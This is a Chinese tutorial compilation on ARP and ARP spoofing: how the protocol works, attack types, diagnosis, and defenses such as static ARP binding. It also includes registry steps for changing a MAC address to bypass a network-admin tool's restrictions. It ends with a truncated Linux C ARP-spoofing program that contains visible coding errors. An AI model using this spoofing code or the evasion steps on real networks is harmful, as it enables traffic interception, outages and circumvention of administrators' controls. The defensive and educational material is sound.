什么是ARP 

ARP(Address Resolution Protocol)是地址解析协议,是一种将IP地址转化成物理地址的协议。从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。ARP具体说来就是将网络层(也就是相当于OSI的第三层)地址解析为数据链路层(也就是相当于OSI的第二层)的物理地址(注:此处物理地址并不一定指MAC地址)。 

ARP欺骗


ARP原理:某机器A要向主机B发送报文,会查询本地的ARP缓存表,找到B的IP地址对应的MAC地址后,就会进行数据传输。如果未找到,则广播A一个ARP请求报文(携带主机A的IP地址Ia——物理地址Pa),请求IP地址为Ib的主机B回答物理地址Pb。网上所有主机包括B都收到ARP请求,但只有主机B识别自己的IP地址,于是向A主机发回一个ARP响应报文。其中就包含有B的MAC地址,A接收到B的应答后,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。 
ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,当局域网中的某台机器B向A发送一个自己伪造的ARP应答,而如果这个应答是B冒充C伪造来的,即IP地址为C的IP,而MAC地址是伪造的,则当A接收到B伪造的ARP应答后,就会更新本地的ARP缓存,这样在A看来C的IP地址没有变,而它的MAC地址已经不是原来那个了。由于局域网的网络流通不是根据IP地址进行,而是按照MAC地址进行传输。所以,那个伪造出来的MAC地址在A上被改变成一个不存在的MAC地址,这样就会造成网络不通,导致A不能Ping通C!这就是一个简单的ARP欺骗。 
ARP协议的工作原理
在每台装有tcp/ip协议的电脑里都有一个ARP缓存表,表里的ip地址与mac地址是一一对应的,如图。
 


arp缓存表


以主机A(192.168.1.5)向主机B(192.168.1.1)发送数据为例。当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到了,也就知道了目标的mac地址,直接吧目标的mac地址写入帧里面发送就可以了;如果在ARP缓存表里面没有目标的IP地址,主机A就会在网络上发送一个广播,目标mac地址是“ff-ff-ff-ff-ff-ff”,这表示向同一网段的所有主机发出这样的询问:“192.168.1.1的mac地址是什么呀?”网络上的其他主机并不回应这一询问,只有主机B接受到这个帧时才向A作出回应:“192.168.1.1的mac地址是00-aa-0-62-c6-09。(如上表)”这样,主机A就知道了主机B的mac地址,就可以向主机B发送信息了。同时,它还更新了自己的ARP缓存表,下次再向B发送数据时,直接在ARP缓存表找就可以了。ARP缓存表采用老化的机制,在一段时间里表中的某一行没有使用,就会被删除,这样可以大大减少ARP缓存表的长度,加快查询的速度。
如何查看ARP缓存表

ARP欺骗


ARP缓存表示可以查看的,也可以添加和修改。在命令提示符下,输入“arp -a”就可以查看arp缓存表的内容了。
用“arp -d”可以删除arp缓存表里的所有内容。
用“arp -s“可以手动在arp表中制定ip地址与mac地址的对应关系。
ARP欺骗的种类
ARP欺骗是***常用的***手段之一,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。 
第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。 
一般来说,ARP欺骗***的后果非常严重,大多数情况下会造成大面积掉线。有些网管员对此不甚了解,出现故障时,认为PC没有问题,交换机没掉线的“本事”,电信也不承认宽带故障。而且如果第一种ARP欺骗发生时,只要重启路由器,网络就能全面恢复,那问题一定是在路由器了。为此,宽带路由器背了不少“黑锅”。 
arp欺骗-网络执法官的原理
在网络执法官中,要想限制某台机器上网,只要点击"网卡"菜单中的"权限",选择指定的网卡号或在用户列表中点击该网卡所在行,从右键菜单中选择"权限",在弹出的对话框中即可限制该用户的权限。对于未登记网卡,可以这样限定其上线:只要设定好所有已知用户(登记)后,将网卡的默认权限改为禁止上线即可阻止所有未知的网卡上线。使用这两个功能就可限制用户上网。其原理是通过ARP欺骗发给被***的电脑一个假的网关IP地址对应的MAC,使其找不到网关真正的MAC地址,这样就可以禁止其上网。 
修改MAC地址突破网络执法官的* 
根据上面的分析,我们不难得出结论:只要修改MAC地址,就可以骗过网络执法官的扫描,从而达到突破*的目的。下面是修改网卡MAC地址的方法: 
在"开始"菜单的"运行"中输入regedit,打开注册表编辑器,展开注册表到:HKEY_LOCAL_ MACHINE/System/CurrentControl Set/Control/Class/子键,在子键下的0000,0001,0002等分支中查找DriverDesc(如果你有一块以上的网卡,就有0001,0002......在这里保存了有关你的网卡的信息,其中的DriverDesc内容就是网卡的信息描述,比如我的网卡是Intel 21041 based Ethernet Controller),在这里假设你的网卡在0000子键。 
在0000子键下添加一个字符串,命名为"NetworkAddress",键值为修改后的MAC地址,要求为连续的12个16进制数。然后在"0000"子键下的NDI/params中新建一项名为NetworkAddress的子键,在该子键下添加名为"default"的字符串,键值为修改后的MAC地址。 
在NetworkAddress的子键下继续建立名为"ParamDesc"的字符串,其作用为指定Network Address的描述,其值可为"MAC Address"。这样以后打开网络邻居的"属性",双击相应的网卡就会发现有一个"高级"设置,其下存在MAC Address的选项,它就是你在注册表中加入的新项"NetworkAddress",以后只要在此修改MAC地址就可以了。 
关闭注册表,重新启动,你的网卡地址已改。打开网络邻居的属性,双击相应网卡项会发现有一个MAC Address的高级设置项,用于直接修改MAC地址。 
MAC地址也叫物理地址、硬件地址或链路地址,由网络设备制造商生产时写在硬件内部。这个地址与网络无关,即无论将带有这个地址的硬件(如网卡、集线器、路由器等)接入到网络的何处,它都有相同的MAC地址,MAC地址一般不可改变,不能由用户自己设定。MAC地址通常表示为12个16进制数,每2个16进制数之间用冒号隔开,如:08:00:20:0A:8C:6D就是一个MAC地址,其中前6位16进制数,08:00:20代表网络硬件制造商的编号,它由IEEE分配,而后3位16进制数0A:8C:6D代表该制造商所制造的某个网络产品(如网卡)的系列号。每个网络制造商必须确保它所制造的每个以太网设备都具有相同的前三字节以及不同的后三个字节。这样就可保证世界上每个以太网设备都具有唯一的MAC地址。 
另外,网络执法官的原理是通过ARP欺骗发给某台电脑有关假的网关IP地址所对应的MAC地址,使其找不到网关真正的MAC地址。因此,只要我们修改IP到MAC的映射就可使网络执法官的ARP欺骗失效,就隔开突破它的限制。你可以事先Ping一下网关,然后再用ARP -a命令得到网关的MAC地址,最后用ARP -s IP 网卡MAC地址命令把网关的IP地址和它的MAC地址映射起来就可以了。 
找到使你无法上网的对方 
解除了网络执法官的*后,我们可以利用Arpkiller的"Sniffer杀手"扫描整个局域网IP段,然后查找处在"混杂"模式下的计算机,就可以发现对方了。具体方法是:运行Arpkiller(图2),然后点击"Sniffer监测工具",在出现的"Sniffer杀手"窗口中输入检测的起始和终止IP(图3),单击"开始检测"就可以了。 
检测完成后,如果相应的IP是绿帽子图标,说明这个IP处于正常模式,如果是红帽子则说明该网卡处于混杂模式。它就是我们的目标,就是这个家伙在用网络执法官在捣乱。 
局域网ARP欺骗的应对
一、故障现象及原因分析
情况一、当局域网内某台主机感染了ARP病毒时,会向本局域网内(指某一网段,比如:10.10.75.0这一段)所有主机发送ARP欺骗***谎称自己是这个网端的网关设备,让原本流向网关的流量改道流向病毒主机,造成受害者正常上网。
情况二、局域网内有某些用户使用了ARP欺骗程序(如:网络执法官,QQ盗号软件等)发送ARP欺骗数据包,致使被***的电脑出现突然不能上网,过一段时间又能上网,反复掉线的现象。
关于APR欺骗的具体原理请看我收集的资料ARP欺骗的原理
二、故障诊断
如果用户发现以上疑似情况,可以通过如下操作进行诊断:
点击“开始”按钮->选择“运行”->输入“arp–d”->点击“确定”按钮,然后重新尝试上网,如果能恢复正常,则说明此次掉线可能是受ARP欺骗所致。
注:arp-d命令用于清除并重建本机arp表。arp–d命令并不能抵御ARP欺骗,执行后仍有可能再次遭受ARP***
三、故障处理
1、中毒者:建议使用趋势科技SysClean工具或其他杀毒软件清除病毒。
2、被害者:(1)绑定网关mac地址。具体方法如下:
1)首先,获得路由器的内网的MAC地址(例如网关地址10.10.75.254的MAC地址为0022aa0022aa)。2)编写一个批处理文件AntiArp.bat内容如下: @echooffarp-darp-s10.10.75.25400-22-aa-00-22-aa
将文件中的网关IP地址和MAC地址更改为您自己的网关IP地址和MAC地址即可,计算机重新启动后需要重新进行绑定,因此我们可以将该批处理文件AntiArp.bat文件拖到“windows--开始--程序--启动”中。这样开机时这个批处理就被执行了。
(2)使用ARP防火墙(例如AntiArp)软件抵御ARP***。
AntiArp软件会在提示框内出现病毒主机的MAC地址
四,找出ARP病毒源
第一招:使用Sniffer抓包
在网络内任意一台主机上运行抓包软件,捕获所有到达本机的数据包。如果发现有某个IP不断发送
ARP Request请求包,那么这台电脑一般就是病毒源。原理:无论何种ARP病毒变种,行为方式有两种,一是欺骗网关,二是欺骗网内的所有主机。最终的结果是,在网关的ARP缓存表中,网内所有活动主机的MAC地址均为中毒主机的MAC地址;网内所有主机的ARP缓存表中,网关的MAC地址也成为中毒主机的MAC地址。前者保证了从网关到网内主机的数据包被发到中毒主机,后者相反,使得主机发往网关的数据包均发送到中毒主机。
第二招:使用arp-a命令任意选两台不能上网的主机,在DOS命令窗口下运行arp-a命令。例如在结果中,两台电脑除了网关的IP,MAC地址对应项,都包含了192.168.0.186的这个IP,则可以断定192.168.0.186这台主机就是病毒源。原理:一般情况下,网内的主机只和网关通信。正常情况下,一台主机的ARP缓存中应该只有网关的MAC地址。如果有其他主机的MAC地址,说明本地主机和这台主机最后有过数据通信发生。如果某台主机(例如上面的192.168.0.186)既不是网关也不是服务器,但和网内的其他主机都有通信活动,且此时又是ARP病毒发作时期,那么,病毒源也就是它了。
第三招:使用tracert命令在任意一台受影响的主机上,在DOS命令窗口下运行如下命令:tracert61.135.179.148。假定设置的缺省网关为10.8.6.1,在跟踪一个外网地址时,第一跳却是10.8.6.186,那么,10.8.6.186就是病毒源。原理:中毒主机在受影响主机和网关之间,扮演了“中间人”的角色。所有本应该到达网关的数据包,由于错误的MAC地址,均被发到了中毒主机。此时,中毒主机越俎代庖,起了缺省网关的作用。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~·
(ARP欺骗的更容易理解的解析)
最近在论坛上经常看到关于ARP病毒的问题,于是在Google上搜索ARP关键字,结果出来很多关于这类问题的讨论。我的求知欲很强,想再学习ARP下相关知识,所以对目前网络中常见的ARP问题进行了一个总结。 
1. ARP概念 
咱们谈ARP之前,还是先要知道ARP的概念和工作原理,理解了原理知识,才能更好去面对和分析处理问题。 
1.1 ARP概念知识 
ARP,全称Address Resolution Protocol,中文名为地址解析协议,它工作在数据链路层,在本层和硬件接口联系,同时对上层提供服务。 
IP数据包常通过以太网发送,以太网设备并不识别32位IP地址,它们是以48位以太网地址传输以太网数据包。因此,必须把IP目的地址转换成以太网目的地址。在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。但这个目标MAC地址是如何获得的呢?它就是通过地址解析协议获得的。ARP协议用于将网络中的IP地址解析为的硬件地址(MAC地址),以保证通信的顺利进行。 
1.2 ARP工作原理 
首先,每台主机都会在自己的ARP缓冲区中建立一个 ARP列表,以表示IP地址和MAC地址的对应关系。当源主机需要将一个数据包要发送到目的主机时,会首先检查自己 ARP列表中是否存在该 IP地址对应的MAC地址,如果有﹐就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址;源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。 
例如: 
A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA 
B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB 
根据上面的所讲的原理,我们简单说明这个过程:A要和B通讯,A就需要知道B的以太网地址,于是A发送一个ARP请求广播(谁是192.168.10.2 ,请告诉192.168.10.1),当B收到该广播,就检查自己,结果发现和自己的一致,然后就向A发送一个ARP单播应答(192.168.10.2 在BB-BB-BB-BB-BB-BB)。 
1.3 ARP通讯模式 
通讯模式(Pattern Analysis):在网络分析中,通讯模式的分析是很重要的,不同的协议和不同的应用都会有不同的通讯模式。更有些时候,相同的协议在不同的企业应用中也会出现不同的通讯模式。ARP在正常情况下的通讯模式应该是:请求 -> 应答 -> 请求 -> 应答,也就是应该一问一答。 
2. 常见ARP***类型 
个人认为常见的ARP***为两种类型:ARP扫描和ARP欺骗。 
2.1 ARP扫描(ARP请求风暴) 
通讯模式(可能): 
请求 -> 请求 -> 请求 -> 请求 -> 请求 -> 请求 -> 应答 -> 请求 -> 请求 -> 请求... 
描述: 
网络中出现大量ARP请求广播包,几乎都是对网段内的所有主机进行扫描。大量的ARP请求广播可能会占用网络带宽资源;ARP扫描一般为ARP***的前奏。 
出现原因(可能): 
*病毒程序,侦听程序,扫描程序。 
*如果网络分析软件部署正确,可能是我们只镜像了交换机上的部分端口,所以大量ARP请求是来自与非镜像口连接的其它主机发出的。 
*如果部署不正确,这些ARP请求广播包是来自和交换机相连的其它主机。 
2.2 ARP欺骗 
ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。所以在网络中,有人发送一个自己伪造的ARP应答,网络可能就会出现问题。这可能就是协议设计者当初没考虑到的! 
2.2.1 欺骗原理 
假设一个网络环境中,网内有三台主机,分别为主机A、B、C。主机详细信息如下描述: 
A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA 
B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB 
C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC 
正常情况下A和C之间进行通讯,但是此时B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是BB-BB-BB-BB-BB-BB(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A被欺骗了),这时B就伪装成C了。同时,B同样向C发送一个ARP应答,应答包中发送方IP地址四192.168.10.1(A的IP地址),MAC地址是BB-BB-BB-BB-BB-BB(A的MAC地址本来应该是AA-AA-AA-AA-AA-AA),当C收到B伪造的ARP应答,也会更新本地ARP缓存(C也被欺骗了),这时B就伪装成了A。这样主机A和C都被主机B欺骗,A和C之间通讯的数据都经过了B。主机B完全可以知道他们之间说的什么:)。这就是典型的ARP欺骗过程。 
注意:一般情况下,ARP欺骗的某一方应该是网关。 
2.2.2 两种情况 
ARP欺骗存在两种情况:一种是欺骗主机作为“中间人”,被欺骗主机的数据都经过它中转一次,这样欺骗主机可以窃取到被它欺骗的主机之间的通讯数据;另一种让被欺骗主机直接断网。 
第一种:窃取数据(嗅探) 
通讯模式: 
应答 -> 应答 -> 应答 -> 应答 -> 应答 -> 请求 -> 应答 -> 应答 ->请求->应答... 
描述: 
这种情况就属于我们上面所说的典型的ARP欺骗,欺骗主机向被欺骗主机发送大量伪造的ARP应答包进行欺骗,当通讯双方被欺骗成功后,自己作为了一个“中间人“的身份。此时被欺骗的主机双方还能正常通讯,只不过在通讯过程中被欺骗者“窃听”了。 
出现原因(可能): 
****病毒 
*嗅探 
*人为欺骗 
第二种:导致断网 
通讯模式: 
应答 -> 应答 -> 应答 -> 应答 -> 应答 -> 应答 -> 请求… 
描述: 
这类情况就是在ARP欺骗过程中,欺骗者只欺骗了其中一方,如B欺骗了A,但是同时B没有对C进行欺骗,这样A实质上是在和B通讯,所以A就不能和C通讯了,另外一种情况还可能就是欺骗者伪造一个不存在地址进行欺骗。 
对于伪造地址进行的欺骗,在排查上比较有难度,这里最好是借用TAP设备(这个东东好像有点贵勒),分别捕获单向数据流进行分析! 
出现原因(可能): 
* ***病毒 
*人为破坏 
*一些网管软件的控制功能 
3. 常用的防护方法 
搜索网上,目前对于ARP***防护问题出现最多是绑定IP和MAC和使用ARP防护软件,也出现了具有ARP防护功能的路由器。呵呵,我们来了解下这三种方法。 
3.1 静态绑定 
最常用的方法就是做IP和MAC静态绑定,在网内把主机和网关都做IP和MAC绑定。 
欺骗是通过ARP的动态实时的规则欺骗内网机器,所以我们把ARP全部设置为静态可以解决对内网PC的欺骗,同时在网关也要进行IP和MAC的静态绑定,这样双向绑定才比较保险。 
方法: 
对每台主机进行IP和MAC地址静态绑定。 
通过命令,arp -s可以实现 “arp –s IP MAC地址 ”。 
例如:“arp –s 192.168.10.1 AA-AA-AA-AA-AA-AA”。 
如果设置成功会在PC上面通过执行 arp -a 可以看到相关的提示: 
Internet Address Physical Address Type 
192.168.10.1 AA-AA-AA-AA-AA-AA static(静态) 
一般不绑定,在动态的情况下: 
Internet Address Physical Address Type 
192.168.10.1 AA-AA-AA-AA-AA-AA dynamic(动态) 
说明:对于网络中有很多主机,500台,1000台...,如果我们这样每一台都去做静态绑定,工作量是非常大的。。。。,这种静态绑定,在电脑每次重起后,都必须重新在绑定,虽然也可以做一个批处理文件,但是还是比较麻烦的! 
3.2 使用ARP防护软件 
目前关于ARP类的防护软件出的比较多了,大家使用比较常用的ARP工具主要是欣向ARP工具,Antiarp等。它们除了本身来检测出ARP***外,防护的工作原理是一定频率向网络广播正确的ARP信息。我们还是来简单说下这两个小工具。 
3.2.1 欣向ARP工具 
我使用了该工具,它有5个功能: 

A. IP/MAC清单 
选择网卡。如果是单网卡不需要设置。如果是多网卡需要设置连接内网的那块网卡。 
IP/MAC扫描。这里会扫描目前网络中所有的机器的IP与MAC地址。请在内网运行正常时扫描,因为这个表格将作为对之后ARP的参照。 
之后的功能都需要这个表格的支持,如果出现提示无法获取IP或MAC时,就说明这里的表格里面没有相应的数据。 

B. ARP欺骗检测 
这个功能会一直检测内网是否有PC冒充表格内的IP。你可以把主要的IP设到检测表格里面,例如,路由器,电影服务器,等需要内网机器访问的机器IP。 
(补充)“ARP欺骗记录”表如何理解: 
“Time”:发现问题时的时间; 
“sender”:发送欺骗信息的IP或MAC; 
“Repeat”:欺诈信息发送的次数; 
“ARP info”:是指发送欺骗信息的具体内容.如下面例子: 
time sender Repeat ARP info 22:22:22 192.168.1.22 1433 192.168.1.1 is at 00:0e:03:22:02:e8 
这条信息的意思是:在22:22:22的时间,检测到由192.168.1.22发出的欺骗信息,已经发送了1433次,他发送的欺骗信息的内容是:192.168.1.1的MAC地址是00:0e:03:22:02:e8。 
打开检测功能,如果出现针对表内IP的欺骗,会出现提示。可以按照提示查到内网的ARP欺骗的根源。提示一句,任何机器都可以冒充其他机器发送IP与MAC,所以即使提示出某个IP或MAC在发送欺骗信息,也未必是100%的准确。所有请不要以暴力解决某些问题。 

C. 主动维护 
这个功能可以直接解决ARP欺骗的掉线问题,但是并不是理想方法。他的原理就在网络内不停的广播制定的IP的正确的MAC地址。 
“制定维护对象”的表格里面就是设置需要保护的IP。发包频率就是每秒发送多少个正确的包给网络内所有机器。强烈建议尽量少的广播IP,尽量少的广播频率。一般设置1次就可以,如果没有绑定IP的情况下,出现ARP欺骗,可以设置到50-100次,如果还有掉线可以设置更高,即可以实现快速解决ARP欺骗的问题。但是想真正解决ARP问题,还是请参照上面绑定方法。 

D. 欣向路由器日志 
收集欣向路由器的系统日志,等功能。 

E. 抓包 
类似于网络分析软件的抓包,保存格式是.cap。 
3.2.1 Antiarp 
这个软件界面比较简单,以下为我收集该软件的使用方法。 
A. 填入网关IP地址,点击[获取网关地址]将会显示出网关的MAC地址。点击[自动防护]即可保护当前网卡与该网关的通信不会被第三方监听。注意:如出现ARP欺骗提示,这说明***者发送了ARP欺骗数据包来获取网卡的数据包,如果您想追踪***来源请记住***者的MAC地址,利用MAC地址扫描器可以找出IP 对应的MAC地址。 
B. IP地址冲突 
如频繁的出现IP地址冲突,这说明***者频繁发送ARP欺骗数据包,才会出现IP冲突的警告,利用Anti ARP Sniffer可以防止此类***。 
C. 您需要知道冲突的MAC地址,Windows会记录这些错误。查看具体方法如下: 
右击[我的电脑]--[管理]--点击[事件查看器]--点击[系统]--查看来源为[TcpIP]---双击事件可以看到显示地址发生冲突,并记录了该MAC地址,请复制该MAC地址并填入Anti ARP Sniffer的本地MAC地址输入框中(请注意将:转换为-),输入完成之后点击[防护地址冲突],为了使MAC地址生效请禁用本地网卡然后再启用网卡,在CMD命令行中输入Ipconfig /all,查看当前MAC地址是否与本地MAC地址输入框中的MAC地址相符,如果更改失败请与我联系。如果成功将不再会显示地址冲突。 
注意:如果您想恢复默认MAC地址,请点击[恢复默认],为了使MAC地址生效请禁用本地网卡然后再启用网卡。 
3.3 具有ARP防护功能的路由器 
这类路由器以前听说的很少,对于这类路由器中提到的ARP防护功能,其实它的原理就是定期的发送自己正确的ARP信息。但是路由器的这种功能对于真正意义上的***,是不能解决的。 
ARP的最常见的特征就是掉线,一般情况下不需要处理一定时间内可以回复正常上网,因为ARP欺骗是有老化时间的,过了老化时间就会自动的回复正常。现在大多数路由器都会在很短时间内不停广播自己的正确ARP信息,使受骗的主机回复正常。但是如果出现***性ARP欺骗(其实就是时间很短的量很大的欺骗ARP,1秒有个几百上千的),它是不断的发起ARP欺骗包来阻止内网机器上网,即使路由器不断广播正确的包也会被他大量的错误信息给淹没。 
可能你会有疑问:我们也可以发送比欺骗者更多更快正确的ARP信息啊?如果***者每秒发送1000个ARP欺骗包,那我们就每秒发送1500个正确的ARP信息! 
面对上面的疑问,我们仔细想想,如果网络拓扑很大,网络中接了很多网络设备和主机,大量的设备都去处理这些广播信息,那网络使用起来好不爽,再说了会影响到我们工作和学习。ARP广播会造成网络资源的浪费和占用。如果该网络出了问题,我们抓包分析,数据包中也会出现很多这类ARP广播包,对分析也会造成一定的影响。
ARP欺骗用途
ARP欺骗亦有正当用途。其一是在一个需要登入的网络中,让未登入的计算机将其浏览网页强制转向到登入页面,以便登入后才可使用网络。另外有些设有备援机制的网络设备或服务器,亦需要利用ARP欺骗以在设备出现故障时将讯务导到备用的设备上。

 

Linux下arp***C代码


  1. #include <stdio.h>   
  2. #include <stdlib.h>   
  3. #include <string.h>   
  4. #include <unistd.h>   
  5. #include <sys/socket.h>   
  6. #include <linux/if_packet.h>   
  7. #include <netdb.h>   
  8. #include <errno.h>   
  9. #include <arpa/inet.h>   
  10. #include <sys/ioctl.h>   
  11. #include <pthread.h>   
  12. #include <pcap.h>   
  13. #include <net/ethernet.h>   
  14. #include <netinet/ether.h>   
  15. #include <net/if.h>   
  16. #include <netinet/ip.h>   
  17. int sockfd;    
  18. struct sockaddr_ll peer_addr;    
  19. unsigned char my_ip[4] = {192, 168, 1,100}; //my ip address   
  20. unsigned char gateway_ip[4] = {192, 168, 1, 1}; //gateway ip address   
  21. unsigned char attack_ip[4] = {192, 168, 1, 8}; //ip address to be attacked   
  22. unsigned char my_mac[6] = {0x00,0x24,0x01,0x04,0x59,0x65 }; //my mac address   
  23. //封装arp包   
  24. struct arp_packet {   
  25.         struct ether_header  eh;   
  26.         struct ether_arp arp;   
  27. };   
  28. //封装ip包    
  29. struct ip_packet{   
  30.     struct ether_header eh;   
  31.     struct iphdr ip;   
  32. };   
  33. void send_arp(const unsigned char* attack_ip);   
  34. void process_arppachet(struct arp_packet *packet);   
  35. void echo_head(char *);   
  36. void echo(char *);   
  37. void echo_end(char *);   
  38. /**  
  39.  * 发送arp包到***主机  
  40.  */   
  41. void send_arp(const unsigned char* attack_ip) {   
  42.         unsigned char broad_mac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};//发送广播包为了获取网关地址   
  43.         //开始构造arp桢   
  44.         struct arp_packet frame;   
  45.         memcpy(frame.eh.ether_dhost, broad_mac, 6);   
  46.         memcpy(frame.eh.ether_shost, my_mac, 6);   
  47.         frame.eh.ether_type = htons(ETH_P_ARP);   
  48.         frame.arp.ea_hdr.ar_hrd = htons(ARPHRD_ETHER);   
  49.         frame.arp.ea_hdr.ar_pro = htons(ETH_P_IP);   
  50.         frame.arp.ea_hdr.ar_hln = 6;   
  51.         frame.arp.ea_hdr.ar_pln = 4;   
  52.         frame.arp.ea_hdr.ar_op = htons(ARPOP_REQUEST);   
  53.         memcpy(frame.arp.arp_sha, my_mac, 6);   
  54.         memcpy(frame.arp.arp_spa, my_ip, 4);   
  55.         memcpy(frame.arp.arp_tha, broad_mac, 6);   
  56.         memcpy(frame.arp.arp_tpa, attack_ip, 4);   
  57.         sendto(sockfd, &frame, sizeof(frame), 0, (struct sockaddr*)&peer_addr, sizeof(peer_addr));   
  58.         printf("success send arp request to 192.168.1.%d/n", attack_ip[3]);   
  59. }   
  60. /**  
  61.  * 分析arp包  
  62.  */   
  63. void process_arppacket(struct arp_packet *packet) {   
  64.     echo_head("process_arppacket");   
  65.     struct arp_packet *old_frame = packet;   
  66.     struct arp_packet frame;   
  67.     memcpy(&frame, packet, sizeof(frame));   
  68.     int ar_op = ntohs(frame.arp.ea_hdr.ar_op);   
  69.     // ------------------------------------arp frame info-------------------------------------------------------   
  70.     if (ar_op == ARPOP_REQUEST)   
  71.         printf("arp request/t");   
  72.     if (ar_op == ARPOP_RREPLY)   
  73.         printf("arp reply /t");   
  74.     char ip_buf[128];   
  75.     inet_ntop(AF_INET, &old_frame->arp.arp_spa, ip_buf, sizeof(ip_buf));   
  76.     printf("[%s](%s)",   
  77.             ether_ntoa((struct ether_addr *) &old_frame->arp.arp_sha), ip_buf);   
  78.     printf("/t->/t");   
  79.     memset(ip_buf, 0, sizeof(ip_buf));   
  80.     inet_ntop(AF_INET, &old_frame->arp.arp_tpa, ip_buf, sizeof(ip_buf));   
  81.     printf("[%s](%s)",   
  82.             ether_ntoa((struct ether_addr *) &old_frame->arp.arp_tha), ip_buf);   
  83.     printf("/n");   
  84. // ---------------------------------------------------------------------------------------------   
  85.      if(ar_op == ARPOP_REPLY && (old_frame->arp.arp_spa)[3] == attack_ip[3] && (old_frame->arp.arp_tpa)[3] == my_ip[3]) { //normal arp reply from attack_ip   
  86.              //bulid faked arp reply frame   
  87.              memcpy(frame.eh.ether_dhost, old_frame->arp.arp_sha, 6);   
  88.              memcpy(frame.eh.ether_shost, my_mac, 6);   
  89.              frame.eh.ether_type = htons(ARPOP_REPLY);   
  90.              memcpy(frame.arp.arp_tha, old_frame->arp.arp_sha, 6);   
  91.              memcpy(frame.arp.arp_tpa, attack_ip, 4);   
  92.              memcpy(frame.arp.arp_sha, my_mac, 6);   
  93.              memcpy(frame.arp.arp_spa, gateway_ip, 4);   
  94.              //send faked arp reply frame   
  95.              sendto(sockfd, &frame, sizeof(frame), 0, (struct sockaddr*)&peer_addr, sizeof(peer_addr));   
  96.              printf("success faked 192.168.1.%d /n", (old_frame->arp.arp_spa)[3]);   
  97.      }   
  98.      if(((ar_op == ARPOP_REQUEST) && (old_frame->arp.arp_spa)[3] == gateway_ip[3]) ||   
  99.         (ar_op == ARPOP_REQUEST && (old_frame->arp.arp_spa)[3] == attack_ip[3] && (old_frame->arp.arp_tpa)[3] == gateway_ip[3])) { //case 2 a   
  100.              sleep(1);   
  101.              send_arp(attack_ip);   
  102.      }   
  103.    
  104. }   
  105. void process_ippacket(struct iphdr *ip){   
  106.     echo_head("process_ippacket");   
  107.     struct in_addr addr;   
  108.     addr.s_addr = ip->saddr;   
  109.     printf("%s---->",inet_ntoa(addr));   
  110.     addr.s_addr = ip->daddr;   
  111.     printf("%s/n",inet_ntoa(addr));   
  112.     int protocol = ip->protocol;   
  113.     switch(protocol){   
  114.         case IPPROTO_TCP:   
  115.             printf("tcp/n");   
  116.             break;   
  117.         case    IPPROTO_UDP:   
  118.             printf("udp");   
  119.             break;   
  120.         case IPPROTO_SCTP:   
  121.             break;   
  122.         default:   
  123.             printf("the protocol is:%d/n",protocol);   
  124.             break;   
  125.     }   
  126.     echo_end("process_ippacket");   
  127. }   
  128. //pcap 回掉函数,用于监听网络上的数据包   
  129. void callback(unsigned char *args, const struct pcap_pkthdr *head,   
  130.         const unsigned char *packet) {   
  131.     struct ether_header *eh = (struct ether_header *) packet;   
  132.     switch (ntohs(eh->ether_type))   
  133.     {   
  134.         case ETHERTYPE_ARP:   
  135.             if (head->len > sizeof(struct ether_header) + sizeof(struct iphdr)) {   
  136.                 process_arppacket((struct arp_packet *) packet);   
  137.             }   
  138.             break;   
  139.         case ETHERTYPE_IP:   
  140.             if (head->len > sizeof(struct ether_header) + sizeof(struct iphdr)) {   
  141.                 process_ippacket((struct iphdr *)(packet+sizeof(struct ether_header)));   
  142.             }   
  143.             break;   
  144.         default:   
  145.             printf("ether type is:%x/n",eh->ether_type);   
  146.             break;   
  147.     }   
  148. }   
  149. //通过pcap监听网络情况   
  150. void *arp_listen(void *arg) {   
  151.         char errbuf[1024];   
  152.         char *dev"wlan0";   
  153.         pcap_t *handle = pcap_open_live(dev, 2048, 1, 1000, errbuf);   
  154.         if(handle == NULL)printf("pcap_open_live():%s/n", errbuf);   
  155.         unsigned int net,mask;   
  156.         if(pcap_lookupnet(dev, &net, &mask, errbuf) == -1)printf("pcap_lookupnet():%s/n", errbuf);   
  157.         struct bpf_program fp;   
